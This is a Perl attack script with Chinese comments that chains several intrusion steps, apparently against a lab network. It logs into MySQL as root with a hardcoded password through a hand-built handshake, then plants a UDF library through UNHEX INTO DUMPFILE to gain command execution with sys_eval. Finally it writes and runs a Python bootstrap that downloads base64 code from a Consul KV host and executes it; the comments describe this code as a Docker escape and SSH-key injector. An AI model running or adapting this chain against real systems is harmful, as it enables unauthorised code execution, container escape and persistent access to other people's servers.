#!/usr/bin/perl # 文件名: full_chain.pl # 用途: 从 entry_node 一键执行: MySQL 认证 → UNHEX UDF → Docker 逃逸 → SSH 注入 # 执行: perl full_chain.pl # 前提: A1/A2/A4 脚本已上传到 Consul KV use strict; use IO::Socket::INET; use Digest::SHA qw(sha1); # ==================== 复用函数 ==================== sub p3 { my $l=shift; return chr($l&0xFF).chr(($l>>8)&0xFF).chr(($l>>16)&0xFF); } # 从 Consul KV 下载文本 sub kv_get { my ($key) = @_; my $s = IO::Socket::INET->new(PeerAddr => "172.20.0.20", PeerPort => 8500, Timeout => 5); print $s "GET /v1/kv/$key?raw HTTP/1.0\r\nHost:c\r\n\r\n"; my $d = ""; while (sysread($s, my $b, 8192)) { $d .= $b } close $s; $d =~ s/.*?\r?\n\r?\n//s; $d =~ s/\s+$//g; return $d; } # MySQL 认证 + 查询(依赖全局 $sk) my $sk; sub mysql_auth { $sk = IO::Socket::INET->new(PeerAddr => "172.20.0.30", PeerPort => 3306, Timeout => 5); my $buf; $sk->recv($buf, 1024); my $pos = 5; while (ord(substr($buf,$pos,1)) != 0) { $pos++ } $pos++; $pos += 4; my $a1 = substr($buf, $pos, 8); $pos += 9; $pos += 7; my $al = ord(substr($buf, $pos, 1)); $pos += 11; my $a2 = substr($buf, $pos, $al - 9); $pos += $al - 8; while ($pos < length($buf) && ord(substr($buf,$pos,1)) == 0) { $pos++ } my $pl = ""; while ($pos < length($buf) && ord(substr($buf,$pos,1)) != 0) { $pl .= substr($buf,$pos,1); $pos++ } my $h1 = sha1("TellMeYouLoveMe"); my $ar = $h1 ^ sha1( substr($a1.$a2,0,20) . sha1($h1) ); my $payload = pack("V",0x003AA20D).pack("V",16777215).chr(0x2d).("\0"x23)."root\0" . chr(length($ar)).$ar . "mysql\0$pl\0" . chr(2) . chr(13)."_client_name".chr(7)."pymysql" . chr(15)."_client_version".chr(5)."1.0.0"; $sk->send(p3(length($payload)).chr(1).$payload); $sk->recv($buf, 1024); die "AUTH FAILED\n" if ord(substr($buf,4,1)) == 0xFF; } sub sql { my ($sql) = @_; my $cmd = chr(3) . $sql; $sk->send(p3(length($cmd)).chr(0).$cmd); my $all = ""; my $done = 0; while (!$done) { my $b; eval { local $SIG{ALRM}=sub{die}; alarm 5; $sk->recv($b, 16384); alarm 0 }; if ($@ || length($b) == 0) { $done = 1; last; } my $s = ord(substr($b, 4, 1)); if ($s == 0 || $s == 0xFE) { $done = 1; } elsif ($s == 0xFF) { return "ERR:".substr($b,9,200); } else { my $d = substr($b,5); $d =~ s/[^\x20-\x7e\n]//g; $all .= $d; } } return $all; } # ==================== 主流程 ==================== print "[*] Step 1: MySQL auth...\n"; mysql_auth(); print "[+] OK\n"; print "[*] Step 2: Download UDF hex + install...\n"; my $udf_hex = kv_get("udfhex/chunk_000"); print " hex: " . length($udf_hex) . " chars\n"; sql("SELECT UNHEX('$udf_hex') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf_sys.so'"); sql("DROP FUNCTION IF EXISTS sys_eval"); sql("CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_sys.so'"); print "[+] UDF installed\n"; print "[*] Step 3: Test sys_eval...\n"; print " id: " . sql("SELECT sys_eval('id')") . "\n"; print "[*] Step 4: Execute Docker SSH injector...\n"; # 下载 Python bootstrap 执行(UNHEX 写入文件,避免引号冲突) my $bootstrap = q|import base64,urllib;exec(base64.b64decode(urllib.urlopen('http://172.20.0.20:8500/v1/kv/docker_ssh/chunk_000?raw').read()))|; my $bs_hex = unpack("H*", $bootstrap); sql("SELECT UNHEX('$bs_hex') INTO DUMPFILE '/tmp/bootstrap.py'"); my $result = sql("SELECT sys_eval('python /tmp/bootstrap.py 2>&1')"); print " $result\n"; print "[*] Done!\n";